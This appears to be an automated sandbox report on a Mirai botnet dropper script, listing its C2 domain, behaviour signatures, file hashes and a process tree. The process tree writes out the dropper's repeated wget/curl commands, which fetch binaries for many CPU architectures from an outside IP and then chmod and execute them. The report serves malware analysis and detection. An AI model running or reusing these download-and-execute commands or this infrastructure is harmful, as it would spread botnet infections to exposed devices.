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Analysis

  • max time kernel
    133s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/03/2025, 14:07

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    d2fc82c2b868db8956bd1a152673f5a7

  • SHA1

    01899c680da79b2e7302f5898e150254bd7ef207

  • SHA256

    29eae7a3fc0f8f73775f7202b9b7972c62a40320b7331588db4e8cf560749719

  • SHA512

    5b9cf48ea5473fab850d23cf04d1d56ebcf7046c6cdfa72524d4c9af7f40721a059e622082250df23c2f6d1766bfce740b906d477fc28f2594e13d1879e121d2

Malware Config

Extracted

Family

mirai

C2

huyhoangluvnhi.duckdns.org

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Enumerates active TCP sockets 1 TTPs 8 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 9 IoCs
  • Reads system network configuration 1 TTPs 8 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:701
    • /usr/bin/wget
      wget http://160.191.245.152/dlr/blah.x86
      2⤵
      • Writes file to tmp directory
      PID:706
    • /usr/bin/curl
      curl -O http://160.191.245.152/dlr/blah.x86
      2⤵
      • Writes file to tmp directory
      PID:728
    • /bin/cat
      cat blah.x86
      2⤵
        PID:729
      • /bin/chmod
        chmod 777 blah.x86 HOLYLOVE ohshit.sh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-q8jm7b
        2⤵
        • File and Directory Permissions Modification
        PID:730
      • /tmp/HOLYLOVE
        ./HOLYLOVE
        2⤵
          PID:731
        • /usr/bin/wget
          wget http://160.191.245.152/dlr/blah.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:733
        • /usr/bin/curl
          curl -O http://160.191.245.152/dlr/blah.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:744
        • /bin/cat
          cat blah.mips
          2⤵
          • System Network Configuration Discovery
          PID:778
        • /bin/chmod
          chmod 777 blah.mips blah.x86 HOLYLOVE ohshit.sh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-q8jm7b
          2⤵
          • File and Directory Permissions Modification
          PID:779
        • /tmp/HOLYLOVE
          ./HOLYLOVE
          2⤵
            PID:780
          • /usr/bin/wget
            wget http://160.191.245.152/dlr/blah.arc
            2⤵
              PID:783
            • /usr/bin/curl
              curl -O http://160.191.245.152/dlr/blah.arc
              2⤵
              • Writes file to tmp directory
              PID:785
            • /bin/cat
              cat blah.arc
              2⤵
                PID:786
              • /bin/chmod
                chmod 777 blah.arc blah.mips blah.x86 HOLYLOVE ohshit.sh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-q8jm7b
                2⤵
                • File and Directory Permissions Modification
                PID:787
              • /tmp/HOLYLOVE
                ./HOLYLOVE
                2⤵
                  PID:788
                • /usr/bin/wget
                  wget http://160.191.245.152/dlr/blah.i468
                  2⤵
                    PID:789
                  • /usr/bin/curl
                    curl -O http://160.191.245.152/dlr/blah.i468
                    2⤵
                    • Writes file to tmp directory
                    PID:790
                  • /bin/cat
                    cat blah.i468
                    2⤵
                      PID:801
                    • /bin/chmod
                      chmod 777 blah.arc blah.i468 blah.mips blah.x86 HOLYLOVE ohshit.sh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-q8jm7b
                      2⤵
                      • File and Directory Permissions Modification
                      PID:802
                    • /tmp/HOLYLOVE
                      ./HOLYLOVE
                      2⤵
                        PID:804
                      • /usr/bin/wget
                        wget http://160.191.245.152/dlr/blah.i686
                        2⤵
                          PID:806
                        • /usr/bin/curl
                          curl -O http://160.191.245.152/dlr/blah.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:821
                        • /bin/cat
                          cat blah.i686
                          2⤵
                            PID:826
                          • /bin/chmod
                            chmod 777 blah.arc blah.i468 blah.i686 blah.mips blah.x86 HOLYLOVE ohshit.sh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-q8jm7b
                            2⤵
                            • File and Directory Permissions Modification
                            PID:827
                          • /tmp/HOLYLOVE
                            ./HOLYLOVE
                            2⤵
                              PID:828
                            • /usr/bin/wget
                              wget http://160.191.245.152/dlr/blah.x86_64
                              2⤵
                              • Writes file to tmp directory
                              PID:829
                            • /usr/bin/curl
                              curl -O http://160.191.245.152/dlr/blah.x86_64
                              2⤵
                              • Writes file to tmp directory
                              PID:830
                            • /bin/cat
                              cat blah.x86_64
                              2⤵
                                PID:831
                              • /bin/chmod
                                chmod 777 blah.arc blah.i468 blah.i686 blah.mips blah.x86 blah.x86_64 HOLYLOVE ohshit.sh systemd-private-e7e7d2b1d09144089229e6aaa269dbb1-systemd-timedated.service-q8jm7b
                                2⤵
                                • File and Directory Permissions Modification
                                PID:832
                              • /tmp/HOLYLOVE
                                ./HOLYLOVE
                                2⤵
                                  PID:833
                                • /usr/bin/wget
                                  wget http://160.191.245.152/dlr/blah.mpsl
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:835
                                • /usr/bin/curl
                                  curl -O http://160.191.245.152/dlr/blah.mpsl
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:839
                                • /bin/cat
                                  cat blah.mpsl
                                  2⤵
                                    PID:840
                                  • /bin/chmod
                                    chmod 777 blah.arc blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 HOLYLOVE ohshit.sh
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:841
                                  • /tmp/HOLYLOVE
                                    ./HOLYLOVE
                                    2⤵
                                    • Changes its process name
                                    • Reads runtime system information
                                    PID:842
                                  • /usr/bin/wget
                                    wget http://160.191.245.152/dlr/blah.arm
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:844
                                  • /usr/bin/curl
                                    curl -O http://160.191.245.152/dlr/blah.arm
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:846
                                  • /bin/chmod
                                    chmod 777 blah.arc blah.arm blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 HOLYLOVE ohshit.sh
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:848
                                  • /tmp/HOLYLOVE
                                    ./HOLYLOVE
                                    2⤵
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:849
                                  • /usr/bin/wget
                                    wget http://160.191.245.152/dlr/blah.arm5
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:851
                                  • /usr/bin/curl
                                    curl -O http://160.191.245.152/dlr/blah.arm5
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:853
                                  • /bin/chmod
                                    chmod 777 blah.arc blah.arm blah.arm5 blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 HOLYLOVE ohshit.sh
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:855
                                  • /tmp/HOLYLOVE
                                    ./HOLYLOVE
                                    2⤵
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:856
                                  • /usr/bin/wget
                                    wget http://160.191.245.152/dlr/blah.arm6
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:859
                                  • /usr/bin/curl
                                    curl -O http://160.191.245.152/dlr/blah.arm6
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:860
                                  • /bin/chmod
                                    chmod 777 blah.arc blah.arm blah.arm5 blah.arm6 blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 HOLYLOVE ohshit.sh
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:862
                                  • /tmp/HOLYLOVE
                                    ./HOLYLOVE
                                    2⤵
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:863
                                  • /usr/bin/wget
                                    wget http://160.191.245.152/dlr/blah.arm7
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:865
                                  • /usr/bin/curl
                                    curl -O http://160.191.245.152/dlr/blah.arm7
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:867
                                  • /bin/chmod
                                    chmod 777 HOLYLOVE blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.mips blah.mpsl blah.x86 blah.x86_64 HOLYLOVE ohshit.sh
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:869
                                  • /tmp/HOLYLOVE
                                    ./HOLYLOVE
                                    2⤵
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:870
                                  • /usr/bin/wget
                                    wget http://160.191.245.152/dlr/blah.ppc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:872
                                  • /usr/bin/curl
                                    curl -O http://160.191.245.152/dlr/blah.ppc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:874
                                  • /bin/chmod
                                    chmod 777 HOLYLOVE blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.mips blah.mpsl blah.ppc blah.x86 blah.x86_64 HOLYLOVE ohshit.sh
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:876
                                  • /tmp/HOLYLOVE
                                    ./HOLYLOVE
                                    2⤵
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:877
                                  • /usr/bin/wget
                                    wget http://160.191.245.152/dlr/blah.spc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:879
                                  • /usr/bin/curl
                                    curl -O http://160.191.245.152/dlr/blah.spc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:881
                                  • /bin/chmod
                                    chmod 777 blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.mips blah.mpsl blah.ppc blah.spc blah.x86 blah.x86_64 HOLYLOVE ohshit.sh HOLYLOVE
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:883
                                  • /tmp/HOLYLOVE
                                    ./HOLYLOVE
                                    2⤵
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:884
                                  • /usr/bin/wget
                                    wget http://160.191.245.152/dlr/blah.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:886
                                  • /usr/bin/curl
                                    curl -O http://160.191.245.152/dlr/blah.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:888
                                  • /bin/chmod
                                    chmod 777 blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.m68k blah.mips blah.mpsl blah.ppc blah.spc blah.x86 blah.x86_64 HOLYLOVE ohshit.sh HOLYLOVE
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:890
                                  • /tmp/HOLYLOVE
                                    ./HOLYLOVE
                                    2⤵
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:891
                                  • /usr/bin/wget
                                    wget http://160.191.245.152/dlr/blah.sh4
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:893
                                  • /usr/bin/curl
                                    curl -O http://160.191.245.152/dlr/blah.sh4
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:895
                                  • /bin/chmod
                                    chmod 777 blah.arc blah.arm blah.arm5 blah.arm6 blah.arm7 blah.i468 blah.i686 blah.m68k blah.mips blah.mpsl blah.ppc blah.sh4 blah.spc blah.x86 blah.x86_64 HOLYLOVE ohshit.sh HOLYLOVE
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:897
                                  • /tmp/HOLYLOVE
                                    ./HOLYLOVE
                                    2⤵
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:898

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                • /tmp/HOLYLOVE

                                  Filesize

                                  58KB

                                  MD5

                                  1c8b6437a383e5816d7444525fc1508b

                                  SHA1

                                  4eefd8b14e3f7ac66a30f73b495b40839e5f6bb4

                                  SHA256

                                  1e74b70fafd03b372bd8f0b932ae682ab2ea7b73f69744dfc26e24385f23f569

                                  SHA512

                                  4acca052eece00944ceb143a6c898b4ce03061d4ad36598347128388ad5399431c0e989a2c7a6f2c1689e65ed34c25390d197492b6169ed1942cd928d331857c

                                • /tmp/HOLYLOVE

                                  Filesize

                                  210B

                                  MD5

                                  df0af1f5d3889398ec163f9578ee6829

                                  SHA1

                                  ff14421982fb2f0a9ba5b5f6fd8c464773135b3d

                                  SHA256

                                  d6b38f51fe989591045453651b0c076e8faa4a2237c6de9064af06467514a50c

                                  SHA512

                                  2bbdc2b17018825539da04ca5d3db28a51c7b16e048a7c91b8064954352cf9a2f55ab8b1643a263fd846dfb48364737a03edd2f4a308c73d1edadc3205d9add0

                                • /tmp/HOLYLOVE

                                  Filesize

                                  211B

                                  MD5

                                  75f791475a85f5a1b96051202db8991c

                                  SHA1

                                  c0de7cceaf465aad5bdf418bea12a49c6b62b71e

                                  SHA256

                                  a499f96a17b2fc9fe47d41d73a5dc6d12696459d439813e9f5c1849611f66777

                                  SHA512

                                  73c542ea3a9cc773eca80c8bec8531b16a83240247cbf4c58f9cc3134a7369bcdf3718012d7893d22adc978bffacf5c811cda2cf5bc9e3895309a334cdd330fc

                                • /tmp/HOLYLOVE

                                  Filesize

                                  211B

                                  MD5

                                  71dfde3372b881bd5653d46d5b950773

                                  SHA1

                                  a76f2f155aeb10063ea697da404851aa721b4ee3

                                  SHA256

                                  a49c0975ca4ef47d59637aaaaffc9bc9df661c4d651cbcb4eb9a0a5338ba3146

                                  SHA512

                                  44a0e5a1ebd664eaa81b25755769257770779c2e1e15779905fd32060d939832d71affce5269b97cc90d40f1bfaa5eba6d464692eaf3a77db63d632d77953128

                                • /tmp/HOLYLOVE

                                  Filesize

                                  59KB

                                  MD5

                                  24022994585fa2ac7bc207eff6a29a09

                                  SHA1

                                  3642c9108c284c0d545620b465afd8ceee28b7cb

                                  SHA256

                                  ae40589ca011bbeeab71412a1d1ecaab9a8f5757815c11832a1cb775691d8b58

                                  SHA512

                                  fe500a82f367181321262f9f7ef9b3c3cf97f52c6dbeeb51a07fde5c86300d772853ff552b6b3f93c3b664542b9a15a87aea4183dc118f3c3581bc7db7162cfa

                                • /tmp/blah.x86

                                  Filesize

                                  40KB

                                  MD5

                                  2e689db77eaea41c04a31165f6ee7184

                                  SHA1

                                  170440f67d1eba5b252aa5bc6e2f0a026b6c8cef

                                  SHA256

                                  2ce9fb3fae4dd2c0540e15c416d79a33933b714551d6016b28ddaa0f52a06913

                                  SHA512

                                  5bc67648bb6650b1c6b4e1a9ca39cfb9dc719b7d670f83647445411df348e05ad1a06b0ae85e91625ec38bc18b4e5b75ba40f06c8652c025c7abfaa8513c00b4